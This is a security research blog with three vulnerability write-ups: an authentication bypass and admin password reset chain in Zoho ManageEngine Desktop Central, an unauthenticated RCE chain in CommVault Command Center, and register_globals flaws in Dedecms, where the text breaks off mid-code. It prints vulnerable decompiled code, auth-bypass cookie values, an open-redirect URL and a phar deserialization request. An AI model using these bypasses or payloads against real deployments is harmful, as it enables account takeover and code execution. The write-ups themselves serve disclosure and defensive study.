ZohOwned :: A Critical Authentication Bypass on Zoho ManageEngine Desktop Central

20 January 2022 at 14:00

Desktop Central

On December 3, 2021, Zoho released a security advisory under CVE-2021-44515 for an authentication bypass in its ManageEngine Desktop Central and Desktop Central MSP products. On December 17, 2021, the FBI published a flash alert, including technical details and indicators of compromise (IOCs) used by threat actors. Shortly after, William Vu published an Attackerkb entry after doing some static analysis. Meanwhile during the whole of December, I was on holidays!

Why did this matter? Well, as it turns out I was sitting on a few bugs I had found in Desktop Central when I audited it back in December 2019. One of them, being an authentication bypass and after reading the FBI report I quickly relized we were dealing with the same zeroday!

At the time, I could only exploit the bug to trigger a directory traversal and write a zip file onto the target system (the same bug that was used in the wild). Since I didn’t have any vector for exploitation and I already had CVE-2020-10189 handy, I decided to leave it alone and include it as part of my Full Stack Web Attack training within module-5 (A zero-day hunt in ManageEngine Desktop Central). I even hinted to a partial authentication bypass to some students! ;->

So after coming back from holidays, I decided to give the bug some justice and understand/improve on the attack that the threat actors pulled off. First though, what is it we are dealing with here?

StateFilter Arbitrary Forward Authentication Bypass Vulnerability

Inside of the web.xml file we find the following entry:

<filter>
  <filter-name>StateFilter</filter-name>
  <filter-class>com.adventnet.client.view.web.StateFilter</filter-class>
</filter>

<filter-mapping>
  <filter-name>StateFilter</filter-name>
  <url-pattern>/STATE_ID/*</url-pattern>
</filter-mapping>

Filters are triggered pre-authenticated and often used to validate clientside data such as csrf tokens, sessions, etc. Let’s check the doFilter method:

/*     */   public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
/*     */     try {
/*  41 */       Long startTime = new Long(System.currentTimeMillis());
/*  42 */       request.setAttribute("TIME_TO_LOAD_START_TIME", startTime);
/*  43 */       logger.log(Level.FINEST, "doFilter called for {0} ", ((HttpServletRequest)request).getRequestURI());
/*  44 */       StateParserGenerator.processState((HttpServletRequest)request, (HttpServletResponse)response); // 1
/*  45 */       String forwardPath = ((HttpServletRequest)request).getRequestURI();
/*  46 */       if (!WebClientUtil.isRestful((HttpServletRequest)request) || forwardPath.indexOf("STATE_ID") != -1) { // 8 
/*     */         
/*  48 */         String path = getForwardPath((HttpServletRequest)request); // 9
/*  49 */         RequestDispatcher rd = request.getRequestDispatcher(path); // 10
/*  50 */         rd.forward(request, response); // 11
/*     */       }
/*     */       //...

At [1] the code calls stateParserGenerator.processState with the attacker controlled request:

/*     */   public static void processState(HttpServletRequest request, HttpServletResponse response) throws Exception {
/* 288 */     if (StateAPI.prevStateDataRef.get() != null) {
/*     */       return;
/*     */     }
/*     */     
/* 292 */     Cookie[] cookiesList = request.getCookies();
/* 293 */     if (cookiesList == null)
/*     */     {
/* 295 */       throw new ClientException(2, null);
/*     */     }
/*     */ 
/*     */     
/* 299 */     TreeSet set = new TreeSet(new StateUtils.CookieComparator()); // 2
/* 300 */     String contextPath = request.getContextPath();
/* 301 */     contextPath = (contextPath == null || contextPath.trim().length() == 0) ? "/" : contextPath;
/*     */     
/* 303 */     String sessionIdName = request.getServletContext().getSessionCookieConfig().getName();
/* 304 */     sessionIdName = (sessionIdName != null) ? sessionIdName : "JSESSIONID";
/*     */     
/* 306 */     for (int i = 0; i < cookiesList.length; i++) {
/*     */       //...
/* 316 */       String cookieName = cookie.getName();
/*     */       //...    
/* 334 */       if (cookieName.startsWith("_")) {
/*     */         
/* 336 */         cookiesList[i].setPath(contextPath);
/* 337 */         response.addCookie(cookiesList[i]);
/*     */       }
/* 339 */       else if (cookieName.startsWith("STATE_COOKIE")) {
/*     */         
/* 341 */         set.add(cookiesList[i]); // 3
/*     */       }
/*     */     //...
/* 369 */     if (set.size() == 0) { // 4
/*     */       
/* 371 */       request.setAttribute("STATE_MAP", NULLOBJ);
/* 372 */       if (!WebClientUtil.isRestful(request))
/*     */       {
/* 374 */         throw new ClientException(2, null);
/*     */       }
/*     */       return;
/*     */     }
/* 378 */     Iterator iterator = set.iterator();
/* 379 */     StringBuffer cookieValue = new StringBuffer();
/* 380 */     while (iterator.hasNext()) {
/* 381 */       Cookie currentCookie = (Cookie)iterator.next();
/* 382 */       String value = currentCookie.getValue();
/* 383 */       cookieValue.append(value);
/*     */     } 
/* 385 */     request.setAttribute("PREVCLIENTSTATE", cookieValue.toString());
/* 386 */     Map state = parseState(cookieValue.toString()); // 5
/*     */     //...
/* 388 */     Iterator ite = state.keySet().iterator();
/* 389 */     while (ite.hasNext()) {
/*     */       
/* 391 */       String uniqueId = (String)ite.next();
/* 392 */       Map viewMap = (Map)state.get(uniqueId);
/* 393 */       refIdVsId.put(viewMap.get("ID") + "", uniqueId);
/*     */     } 
/* 395 */     StateAPI.prevStateDataRef.set((state != null) ? state : NULLOBJ);
/* 396 */     if (state != null) {
/*     */       
/* 398 */       if (!WebClientUtil.isRestful(request)) {
/*     */         
/* 400 */         long urlTime = getTimeFromUrl(request.getRequestURI());
/* 401 */         long reqTime = Long.parseLong((String)StateAPI.getRequestState("_TIME")); // 6
/* 402 */         ((Map)state.get("_REQS")).put("_ISBROWSERREFRESH", String.valueOf((urlTime != reqTime && !StateAPI.isSubRequest(request)))); // 7
/*     */       }

In order to survive StateParserGenerator.processState, the attacker will need to populate the TreeSet at [2] with a STATE_COOKIE at [3] so that they don’t crash and burn at [4]. Also, the attacker needs to use StateParserGenerator.processState method at [5] to craft a special state map containing values to survive [6] and [7]. There is no way to return null from StateParserGenerator.parseState, I already thought of that!

Once the attacker can proceed past StateParserGenerator.processState, they can set forwardPath at [8] with the provided URI and subsequently set path at [9]

/*     */   private String getForwardPath(HttpServletRequest request) {
/*  88 */     String path = request.getContextPath() + "/STATE_ID/";
/*  89 */     String forwardPath = request.getRequestURI();
/*  90 */     if (!forwardPath.startsWith(path))
/*     */     {
/*  92 */       return forwardPath;
/*     */     }
/*  94 */     int index = forwardPath.indexOf('/', path.length());
/*  95 */     if (WebClientUtil.isRestful(request)) {
/*     */       
/*  97 */       forwardPath = forwardPath.substring(path.length() - 1);
/*     */ 
/*     */     
/*     */     }
/* 101 */     else if (index > 0) {
/*     */       
/* 103 */       forwardPath = forwardPath.substring(index);
/*     */     } 
/*     */ 
/*     */     
/* 107 */     return forwardPath;
/*     */   }

Now, the code at [10] and [11] of the StateFilter.doFilter method forwards the incoming request and bypasses any further filters or interceptors within the filter chain. The fact that the forward happens inside of a filter is very powerful, it means that any HTTP verb can be used to reach dangerous API.

AgentLogUploadServlet Directory Traversal Remote Code Execution Vulnerability

This particular bug was patched in earlier versions before the StateFilter arbitrary forward was patched. As always, we start in the web.xml file:

<servlet>
  <servlet-name>AgentLogUploadServlet</servlet-name>
  <servlet-class>com.adventnet.sym.webclient.statusupdate.AgentLogUploadServlet</servlet-class>
</servlet>

<servlet-mapping>
  <servlet-name>AgentLogUploadServlet</servlet-name>
  <url-pattern>/agentLogUploader</url-pattern>
</servlet-mapping>

As the threat actors discovered, it was possible to reach this servlet using the StateFilter arbitrary forward:

/*     */   public void doPost(HttpServletRequest request, HttpServletResponse response) {
/*  35 */     reader = null;
/*  36 */     PrintWriter printWriter = null;
/*     */     try {
/*  38 */       computerName = request.getParameter("computerName"); // 1
/*  39 */       String domName = request.getParameter("domainName");
/*  40 */       String customerIdStr = request.getParameter("customerId");
/*  41 */       String resourceidStr = request.getParameter("resourceid");
/*  42 */       String logType = request.getParameter("logType");
/*  43 */       String fileName = request.getParameter("filename"); // 2
/*     */       //... 
/*  66 */       if (managedResourceID != null || branchId != null) {
/*     */         //... 
/*  73 */         String localDirToStore = baseDir + File.separator + wanDir + File.separator + customerIdStr + File.separator + domName + File.separator + computerName; // 3  
/*     */         //... 
/*  84 */         fileName = fileName.toLowerCase();
/*     */         
/*  86 */         if (fileName != null && FileUploadUtil.hasVulnerabilityInFileName(fileName, "zip|7z|gz")) { // 4
/*  87 */           this.logger.log(Level.WARNING, "AgentLogUploadServlet : Going to reject the file upload {0}", fileName);
/*  88 */           response.sendError(403, "Request Refused");
/*     */           
/*     */           return;
/*     */         } 
/*  92 */         String absoluteFileName = localDirToStore + File.separator + fileName; // 5
/*     */         
/*  94 */         this.logger.log(Level.WARNING, "absolute File Name {0} ", new Object[] { fileName });
/*     */ 
/*     */         
/*  97 */         in = null;
/*  98 */         fout = null;
/*     */         try {
/* 100 */           in = request.getInputStream();
/* 101 */           fout = new FileOutputStream(absoluteFileName);
/*     */           
/* 103 */           byte[] bytes = new byte[10000]; int i;
/* 104 */           while ((i = in.read(bytes)) != -1) {
/* 105 */             fout.write(bytes, 0, i); // 6
/*     */           }
/* 107 */           fout.flush();
/* 108 */         } catch (Exception e1) {
/* 109 */           e1.printStackTrace();
/*     */         } finally {
/* 111 */           if (fout != null) {
/* 112 */             fout.close();
/*     */           }
/* 114 */           if (in != null) {
/* 115 */             in.close();
/*     */           }
/*     */         } 

At [1] and [2] the code gets the computerName and filename parameters from the incoming request and then at [3] the code builds a path using the controlled computerName. Then at [4] the code calls FileUploadUtil.hasVulnerabilityInFileName using zip|7z|gz as a filter:

/*     */   public static boolean hasVulnerabilityInFileName(String fileName, String allowedFileExt) {
/* 227 */     if (isContainDirectoryTraversal(fileName) || isCompletePath(fileName) || !isValidFileExtension(fileName, allowedFileExt)) {
/* 228 */       return true;
/*     */     }
/* 230 */     return false;
/*     */   }

The code checks that the file extension is either zip, 7z or gz with a check for a traversal but there is no check for a traversal in the localDirToStore at [5] which is later used for a controlled write at [6].

Patches

Zoho patched the arbitrary forward by adding the URI pattern to a secured context, meaning that authentication is required which was verified on version 10.1.2137.3

<security-constraint>
 <web-resource-collection>
     <web-resource-name>Secured Core Context</web-resource-name>
     ...
+     <url-pattern>/STATE_ID/*</url-pattern>
 </web-resource-collection>

Zoho also patched the directory traversal in AgentLogUploadServlet somewhere between May - November 2021. The additional check in the doPost protecting computerName which was verified on version 10.1.2137.2:

/*  67 */       if ((domName != null && FileUploadUtil.hasVulnerabilityInFileName(domName)) || (computerName != null && FileUploadUtil.hasVulnerabilityInFileName(computerName)) || (customerIdStr != null && FileUploadUtil.hasVulnerabilityInFileName(customerIdStr)) || (branchId != null && FileUploadUtil.hasVulnerabilityInFileName(branchId)) || 
/*  68 */         !SoMUtil.getInstance().isValidDomainName(domName) || !SoMUtil.getInstance().isValidComputerName(computerName) || !branchId.matches(regex) || !resourceidStr.matches(regex) || !customerIdStr.matches(regex)) {
/*     */         
/*  70 */         this.logger.log(Level.WARNING, "AgentLogUploadServlet : Going to reject the file upload {0} for  computer  {1}  under domain {2} and branch office {4} of customer id {3} ", new Object[] { fileName, computerName, domName, customerIdStr, branchId });
/*  71 */         response.sendError(403, "Request Refused");
/*     */         
/*     */         return;
/*     */       }

Exploitation

At the time of discovery, I couldn’t leverage this bug and after reading the FBI report, it becomes evident that the threat actors wrote a zip file into the C:\Program Files\DesktopCentral_Server\lib directory and either waited for the server to restart or forced a restart.

Loading a zip from the lib directory

In fact, it can be any extension and it clearly not mentioned in the Tomcat documentation! This inturn loaded a malicious jar file (hidden as a zip file) which overwrote core classes. When those classes were loaded from the server/process upon a restart, then their code would execute.

The threat actors also used the /fos/statuscheck endpoint which safety returned the string OK if the server was up.

Checking the status of the server

/*    */   private void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
/*    */     try {
/* 33 */       String slaveId = ServletUtil.Param.optionalValue(request, "slaveId");
/* 34 */       if (MonitorPool.isEnabled())
/*    */       {
/* 36 */         if (slaveId != null)
/*    */         {
/* 38 */           MonitorPool.getInst().getOrCreate(slaveId).updateLastAccessTime();
/*    */         }
/*    */       }
/* 41 */       ServletUtil.Write.text(response, "ok");
/*    */     }
/*    */   //...
/*    */   }
/*    */ }

With that, I decided to look into the code to find locations to where the process and/or server could be restarted with an API that was reachable from the StateFilter arbitrary forward but I was unsuccessful in this attempt.

Attack chain limitations

There are 4 main limitations with the attack chain used by the threat actors:

  1. The StateFilter arbitrary forward is only a partial authentication bypass. It’s possible to reach the servlet endpoints, but not possible to reach any of the REST api or struts ActionForward classes. This is a significate weakness in the attack.

  2. The AgentLogUploadServlet directory traversal only gave an attacker the ability to write a 7z, zip, or gz file.

  3. The AgentLogUploadServlet directory traversal was patched in an earlier version than the StateFilter arbitrary forward, meaning there are versions where the chain was broken

  4. The attack chain required the server to be restarted which, AFAIK was not possible to be directly controlled by the threat actor.

Bypassing all limitations

I finally managed to find a better way to (ab)use the StateFilter arbitrary forward by reaching the ChangeAmazonPasswordServlet. At first I ignored this servlet because I thought, what’s the point of changing an Amazon password anyway.

/*    */ public class ChangeAmazonPasswordServlet
/*    */   extends HttpServlet
/*    */ {
/* 23 */   private Logger logger = Logger.getLogger(ChangeAmazonPasswordServlet.class.getName());
/*    */ 
/*    */ 
/*    */   
/*    */   protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
/* 28 */     String loginName = request.getParameter("loginName");
/*    */     
/*    */     try {
/* 31 */       String productCode = ProductUrlLoader.getInstance().getValue("productcode");
/*    */       
/* 33 */       String newUserPassword = request.getParameter("newUserPassword");
/*    */       
/* 35 */       SYMClientUtil.changeDefaultAwsPassword(loginName, newUserPassword); // 1

At [1] the code calls SYMClientUtil.changeDefaultAwsPassword using the attacker supplied loginName and newUserPassword:

/*     */   public static void changeDefaultAwsPassword(String loginName, String newPasswd) throws Exception {
/*     */     try {
/* 139 */       String serviceName = getServiceName(loginName);
/*     */       
/* 141 */       DMUserHandler.addOrUpdateAPIKeyForLoginId(DMUserHandler.getLoginIdForUser(loginName));
/*     */       
/* 143 */       AuthUtil.changePassword(loginName, serviceName, newPasswd); // 2
/* 144 */       SyMUtil.updateSyMParameter("IS_PASSWORD_CHANGED", "true");
/* 145 */       SyMUtil.updateServerParameter("IS_AMAZON_DEFAULT_PASSWORD_CHANGED", "true");
/*     */     }

When I saw [2] I got very suspicious because I saw AuthUtil.changePassword. When I was auditing previously, I remember seeing that function used for other password reset functionality so I decided to do a quick xref on it:

Other functions that call changePassword

Could this code change the admin password from an unauthenticated context? Yes!

Changing the admin password unauthenticated

Now that we have changed the password we can login and access any agents within Desktop Central to gain remote code execution against them:

Accessing agents that are connected to Desktop Central

Popping a SYSTEM shell over the web interface

This exploit chain impacts all versions up to 10.1.2137.2. It’s still possible to reset the admin password and/or trigger the StateFilter arbitrary forward using a guest account in the latest version at the time of writing. I have a habit of not reporting vulnerabilities to Zoho, oh no!

UPDATE: Zoho has released a fix for this issue and assigned CVE-2022-23863.

Changing the admin password as a guest user on the latest version (10.1.2138.1)

The only limitation to this attack is that changing the administrators password is pretty overt, and will likley reveal that a compromise took place.

Conclusion

Threat actors, up your game! If you are stuck on a bug, come back to it with a fresh mind even if its been years. As a professional engineer, you develop your skillset slowly and sometimes it’s important to check code that doesn’t seem relevant.

This is not the first time I have written about arbitrary forward vulnerabilities that lead to authentication bypass and it’s likley that threat actors are reading this very blog. A big thanks goes to William Vu for listening to me live debug this application and allowing me to ask him many questions along the way.

References

Unlocking the Vault :: Unauthenticated Remote Code Execution against CommVault Command Center

22 November 2021 at 14:00

When Justin Kennedy and Brandon Perry asked me if I was interested in performing a little audit together, I couldn’t resist. Although time was limited, I decided to jump on board because true hacking collaboration is a rare commoditity these days.

We decided to target the CommVault Command Center Interface and to quote CommVault:

The Command Center is a web-based user interface for administration tasks that provides default configuration values and streamlined procedures for routine data protection and recovery tasks. You can use the Command Center to set up your data protection environment, to identify content that you want to protect, and to initiate and monitor backups and restores.

This is an interesting target because:

  1. It’s a product that incorporates several components (CommCell Console, Command Center, Web Console, CommServe Server, etc).
  2. There was a serious lack of decent vulnerabilities in CommVault. The only recent bug I could dig up was CVE-2020-25780 which was a post authenticated directory traversal with a disclosure impact and no proof of concept.
  3. There is a mix of technologies from C# to Java which made it quite attractive to audit.

After some time, we managed to chain 3 bugs (disclosed as two bugs - ZDI-21-1328 and ZDI-21-1331) to achieve unauthenticated remote code execution as SYSTEM against a target CommVault node.

CVAuthHttpModule OnEnter Partial Authentication Bypass

Inside of the CVInfoMgmtService.dll file the CVAuthHttpModule.OnEnter method is the authentication check for the CVSearchService web service:

private void OnEnter(object sender, EventArgs e)
{
    bool flag = true;
    this.reject = true;
    string empty = string.Empty;
    bool flag2 = true;
    this._token = "";
    this._sw = Stopwatch.StartNew();
    this._request = "";
    try
    {
        string[] array = CVAuthHttpModule.readHeader();
        string text = array[0]; // 1
        string text2 = array[1];
        string text3 = array[2];
        string text4 = array[3];
        bool flag3 = this.IsRestWebService(); // 2
        ...
        bool flag11 = !string.IsNullOrEmpty(text) && !flag3 && NonSecureOperations.canByPassCheck(text); // 3
        if (flag11)
        {
            flag = false;
            this.reject = false;
        ...

At [1] the text is coming from the cookie header and at [2] the code checks that the request is for the CVSearchService.svc service then we can see the NonSecureOperations.canByPassCheck at [3].

public static bool canByPassCheck(string messageName)
{
    string item = dmConf.encodePass(messageName); // 4
    return NonSecureOperations.list.Contains(item); // 5
}

The dmConf.encodePass call at [4]:

// DM2WebLib.dmConf
// Token: 0x060000E8 RID: 232 RVA: 0x00006C10 File Offset: 0x00004E10
public static string encodePass(string dataTobeEncoded)
{
	string text = string.Empty;
	bool flag = string.IsNullOrEmpty(dataTobeEncoded);
	string result;
	if (flag)
	{
		result = dataTobeEncoded;
	}
	else
	{
		try
		{
			byte[] inArray = new byte[dataTobeEncoded.Length];
			inArray = Encoding.UTF8.GetBytes(dataTobeEncoded);
			text = Convert.ToBase64String(inArray);
		}
		catch (Exception ex)
		{
			throw new Exception(string.Format("Error in base64Encode. Exception Message:[{0}], Data to be decoded:[{1}] ", ex.Message, dataTobeEncoded));
		}
		result = text;
	}
	return result;
}

…and the NonSecureOperations constructor at [5]:

static NonSecureOperations()
{
    NonSecureOperations.list = new ArrayList();
    NonSecureOperations.list.Add("TG9naW4uR2V0TG9nb25MaXN0");
    NonSecureOperations.list.Add("TG9naW4uTG9naW4=");
    NonSecureOperations.list.Add("Q0kuR2V0RE1TZXR0aW5n");
    NonSecureOperations.list.Add("TG9naW4=");
    NonSecureOperations.list.Add("Q0kuR2V0RE1TZXR0aW5ncw==");
    NonSecureOperations.list.Add("UmV0cmlldmVJdGVt");
    NonSecureOperations.list.Add("U2VhcmNoLkdldFBhbmVsQ29sdW1uQ29uZmln");
    NonSecureOperations.list.Add("RGF0YVNlcnZpY2UuUG9wdWxhdGVEYXRh");
    NonSecureOperations.list.Add("Z2V0T2VtSWQ=");
    NonSecureOperations.list.Add("TG9naW4uV2ViQ2xpZW50TG9naW4=");
    NonSecureOperations.list.Add("Z2V0R2xvYmFsUGFyYW0=");
}
  1. Login.GetLogonList
  2. Login.Login
  3. CI.GetDMSetting
  4. Login
  5. CI.GetDMSettings
  6. RetrieveItem
  7. Search.GetPanelColumnConfig
  8. DataService.PopulateData
  9. getOemId
  10. Login.WebClientLogin
  11. getGlobalParam

This just encodes the cookie as base64 and checks it against a list of hardcoded strings. So I just set the first one as Login.GetLogonList which matches on TG9naW4uR2V0TG9nb25MaXN0. Now the this.reject is set to false and we can bypass the auth for this web service!

CVSearchSvc downLoadFile File Disclosure

As it turns out, there is a file disclosure vulnerability in the API for this service. Let’s check the CVSearchSvc class:

public byte[] downLoadFile(string path)
{
    DownLoad downLoad = new DownLoad();
    return downLoad.downLoadFile(path); // 4
}

At [4] the code calls com.commvault.biz.restore.DownLoad.downLoadFile with the attacker controlled path:

public byte[] downLoadFile(string path)
{
    bool flag = string.IsNullOrEmpty(path);
    byte[] result;
    if (flag)
    {
        result = null;
    }
    else
    {
        bool flag2 = !File.Exists(path);
        if (flag2)
        {
            result = null;
        }
        else
        {
            FileInfo fileInfo = new FileInfo(path);
            long length = fileInfo.Length;
            FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read);
            BinaryReader binaryReader = new BinaryReader(fileStream);
            byte[] array = binaryReader.ReadBytes((int)length);
            binaryReader.Close();
            fileStream.Close();
            result = array;
        }
    }
    return result;
}

Which opens the attacker supplied file path for reading and returns the contents of the file. This can be a binary file because the response is base64 encoded and returned to the attacker.

Exploitation

At this point we essentially had an unauthenticated file read vulnerability. How were we going to leverage this for remote code execution or an authentication bypass? It was a limited file read as we could only read files with the permissions of the network service account. Due to this, we couldn’t open files that already had an open file handle in another process. It was grim.

For the better right

A few days later, Brandon came up with a clever exploitation strategy. When he was configuring and testing the email server, he noticed that when he tried to reset the password for the SystemCreatedAdmin account, it would throw an error into the c:/Program Files/Commvault/ContentStore/Log Files/WebServer.log file:

4424  3     05/13 17:00:37 3   ###  - Processing [POST] request : /user/Password/ForgotRequest : Headers :[Content-Type=application/x-www-form-urlencoded][Expect=100-continue][Host=127.0.0.1:81][Content-Length=50][locale=en_US][LookupNames=false][client-location=192.168.1.152][CVRequestRouted=true][MS-ASPNETCORE-TOKEN=cba64f3f-885a-4d1e-bcfe-cbda5c6e5e19][X-Original-Proto=http][trace-id=wse7e5af76c93c][X-Original-For=127.0.0.1:51285] : Parameters : (empty) : AdditionalInfo[ClientIP[192.168.1.152] ConsoleType[Unknown] Operation[CV.WebServer.Controllers.UserController.ForgotPasswordRequest (CVWebControllerClient)] isTokenSupplied?[False] Username[]]
4424  3     05/13 17:00:38 3   ### SetTinyWebConsoleTinyUrl - Error sending reset password email with tinyURL : http://WIN-9BHJU583I26:80/webconsole/gtl.do?gid=sqmyEqVeOftkV
4424  3     05/13 17:00:43 3   ### SendResetPasswordEmail - Reset password email set successfully to: 
4424  3     05/13 17:00:43 3   ### Invoke - POST /user/Password/ForgotRequest : HTTP code 'OK'

This occured because the default god mode user SystemCreatedAdmin didn’t have an email account linked by design and so the developers thought it would be convenient to drop the password reset token into the log file. With our file disclosure vulnerability we could leak this log file and disclose the password reset token (sqmyEqVeOftkV in this case) so that we could reset the SystemCreatedAdmin password and gain access to the Command Center.

Once this was achieved, we found that we could execute workflows with, low and behold, a default workflow that allowed for a command to be executed as SYSTEM!

Unlocking the CommVault

We have released a proof of concept for your defending pleasure.

Conclusion

These aren’t the only issues we discovered, but only the ones we had time to focus on and submit since they were the highest impact. Sure enough, KP Choubey also discovered ZDI-21-1332 when analyzing our bugs.

Chasing a Dream :: Pre-authenticated Remote Code Execution in Dedecms

30 September 2021 at 14:00

In this blog post, I’m going to share a technical review of Dedecms (or “Chasing a Dream” CMS as translated to English) including its attack surface and how it differs from other applications. Finally, I will finish off with a pre-authenticated remote code execution vulnerability impacting the v5.8.1 pre-release. This is an interesting piece of software because it dates back over 14 years since its initial release and PHP has changed a lot over the years.

An online search for “what is the biggest CMS in China” quickly reveals that multiple sources state that Dedecms is the most popular. However, these sources all but have one thing in common: they’re old.

So, I decided to do a crude search:

The product is very widely deployed and but the vulnerability detailed here impacts a small number of sites since it was introduced on the 11th of December 2020 and never made it into a release build.

Threat Modeling

Disclaimer: I have no experience in actual threat modeling. One of the first things I ask myself when auditing targets is: How is input accepted into the application? Well, it turns out the answer to that question for this target is in include/common.inc.php script:

function _RunMagicQuotes(&$svar)
{
    if (!@get_magic_quotes_gpc()) {
        if (is_array($svar)) {
            foreach ($svar as $_k => $_v) {
                $svar[$_k] = _RunMagicQuotes($_v);
            }

        } else {
            if (strlen($svar) > 0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#', $svar)) {
                exit('Request var not allow!');
            }
            $svar = addslashes($svar);
        }
    }
    return $svar;
}

//...

if (!defined('DEDEREQUEST')) {
    //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
    function CheckRequest(&$val)
    {
        if (is_array($val)) {
            foreach ($val as $_k => $_v) {
                if ($_k == 'nvarname') {
                    continue;
                }

                CheckRequest($_k);
                CheckRequest($val[$_k]);
            }
        } else {
            if (strlen($val) > 0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#', $val)) { // 2
                exit('Request var not allow!');
            }
        }
    }

    CheckRequest($_REQUEST);
    CheckRequest($_COOKIE);

    foreach (array('_GET', '_POST', '_COOKIE') as $_request) {
        foreach ($$_request as $_k => $_v) {
            if ($_k == 'nvarname') {
                ${$_k} = $_v;
            } else {
                ${$_k} = _RunMagicQuotes($_v); // 1
            }

        }
    }
}

If we pay close attention here, we can see at [1] that the code re-enables register_globals which has been since removed in PHP 5.4.

register_globals has been a huge problem for applications in the past and enables a very rich attack surface which is one of the reasons why PHP has had such a bad reputation in the past. Also note here that they do not protect the $_SERVER or $_FILES super global arrays at [2].

This can lead to such risks as open redirect http://target.tld/dede/co_url.php?_SERVER[SERVER_SOFTWARE]=PHP%201%20Development%20Server&_SERVER[SCRIPT_NAME]=http://google.com/ or phar deserialization in include/uploadsafe.inc.php at line [3]

foreach ($_FILES as $_key => $_value) {
    foreach ($keyarr as $k) {
        if (!isset($_FILES[$_key][$k])) {
            exit("DedeCMS Error: Request Error!");
        }
    }
    if (preg_match('#^(cfg_|GLOBALS)#', $_key)) {
        exit('Request var not allow for uploadsafe!');
    }
    $$_key = $_FILES[$_key]['tmp_name'];
    ${$_key . '_name'} = $_FILES[$_key]['name'];  // 4
    ${$_key . '_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
    ${$_key . '_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#', '', $_FILES[$_key]['size']);

    if (is_array(${$_key . '_name'}) && count(${$_key . '_name'}) > 0) {
        foreach (${$_key . '_name'} as $key => $value) {
            if (!empty($value) && (preg_match("#\.(" . $cfg_not_allowall . ")$#i", $value) || !preg_match("#\.#", $value))) {
                if (!defined('DEDEADMIN')) {
                    exit('Not Admin Upload filetype not allow !');
                }
            }
        }
    } else {
        if (!empty(${$_key . '_name'}) && (preg_match("#\.(" . $cfg_not_allowall . ")$#i", ${$_key . '_name'}) || !preg_match("#\.#", ${$_key . '_name'}))) {
            if (!defined('DEDEADMIN')) {
                exit('Not Admin Upload filetype not allow !');
            }
        }
    }

    if (empty(${$_key . '_size'})) {
        ${$_key . '_size'} = @filesize($$_key); // 3
    }
GET /plus/recommend.php?_FILES[poc][name]=0&_FILES[poc][type]=1337&_FILES[poc][tmp_name]=phar:///path/to/uploaded/phar.rce&_FILES[poc][size]=1337 HTTP/1.1
Host: target

I didn’t report these bugs because they provided no impact (otherwise I would have called them vulnerabilities). The open URL redirection bug cannot further an attacker on its own and the phar deserialization bug cannot be triggered without a gadget chain.

The trained eye will spot something extra interesting though. At line [4] the code creates an attacker controlled variable using the _name string which will be unfiltered from _RunMagicQuotes. This means that an attacker with admin credentials can trigger an SQL injection in the sys_payment.php script by bypassing the _RunMagicQuotes function using a file upload:

For reference’s sake, we can see how the SQL injection manifests inside dede/sys_payment.php:

//配置支付接口
else if ($dopost == 'config') { // 5
    if ($pay_name == "" || $pay_desc == "" || $pay_fee == "") { // 6
        ShowMsg("您有未填写的项目!", "-1");
        exit();
    }
    $row = $dsql->GetOne("SELECT * FROM `#@__payment` WHERE id='$pid'");
    if ($cfg_soft_lang == 'utf-8') {
        $config = AutoCharset(unserialize(utf82gb($row['config'])));
    } else if ($cfg_soft_lang == 'gb2312') {
        $config = unserialize($row['config']);
    }
    $payments = "'code' => '" . $row['code'] . "',";
    foreach ($config as $key => $v) {
        $config[$key]['value'] = ${$key};
        $payments .= "'" . $key . "' => '" . $config[$key]['value'] . "',";
    }
    $payments = substr($payments, 0, -1);
    $payment = "\$payment=array(" . $payments . ")";
    $configstr = "<" . "?php\r\n" . $payment . "\r\n?" . ">\r\n";
    if (!empty($payment)) {
        $m_file = DEDEDATA . "/payment/" . $row['code'] . ".php";
        $fp = fopen($m_file, "w") or die("写入文件 $safeconfigfile 失败,请检查权限!");
        fwrite($fp, $configstr);
        fclose($fp);
    }
    if ($cfg_soft_lang == 'utf-8') {
        $config = AutoCharset($config, 'utf-8', 'gb2312');
        $config = serialize($config);
        $config = gb2utf8($config);
    } else {
        $config = serialize($config);
    }

    $query = "UPDATE `#@__payment` SET name = '$pay_name',fee='$pay_fee',description='$pay_desc',config='$config',enabled='1' WHERE id='$pid'"; // 7
    $dsql->ExecuteNoneQuery($query); // 8

At [5] and [6] there are some checks that $dopost is set to config and that $pay_name, $pay_desc and $pay_fee are set from the request. Later at [7] the code builds a raw SQL query using the attacker supplied $pay_name and finally at [8] what I thought was an SQL injection is triggered…

Defense in Depth

In the past Dedecms developers have been hit hard with SQL injection vulnerabilities (probably due to register_globals being enabled at the source code level). In the above example, we get a response from the server as Safe Alert: Request Error step 2 and of course our injection fails. Why is that? Look at the include/dedesqli.class.php to find out:

//SQL语句过滤程序,由80sec提供,这里作了适当的修改
function CheckSql($db_string, $querytype = 'select')
{

    // ...more checks...

    //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
    if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0) {
        $fail = true;
        $error = "union detect";
    }

    // ...more checks...

    //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
    elseif (preg_match('~\([^)]*?select~s', $clean) != 0) {
        $fail = true;
        $error = "sub select detect";
    }
    if (!empty($fail)) {
        fputs(fopen($log_file, 'a+'), "$userIP||$getUrl||$db_string||$error\r\n");
        exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");  // 9
    } else {
        return $db_string;
    }

Now I don’t know who 80Sec is, but they seem serious. The CheckSql is called from Execute

    //执行一个带返回结果的SQL语句,如SELECT,SHOW等
    public function Execute($id = "me", $sql = '')
    {

        //...

        //SQL语句安全检查
        if ($this->safeCheck) {
            CheckSql($this->queryString);
        }

and SetQuery:

    public function SetQuery($sql)
    {
        $prefix = "#@__";
        $sql = trim($sql);
        if (substr($sql, -1) !== ";") {
            $sql .= ";";
        }
        $sql = str_replace($prefix, $GLOBALS['cfg_dbprefix'], $sql);

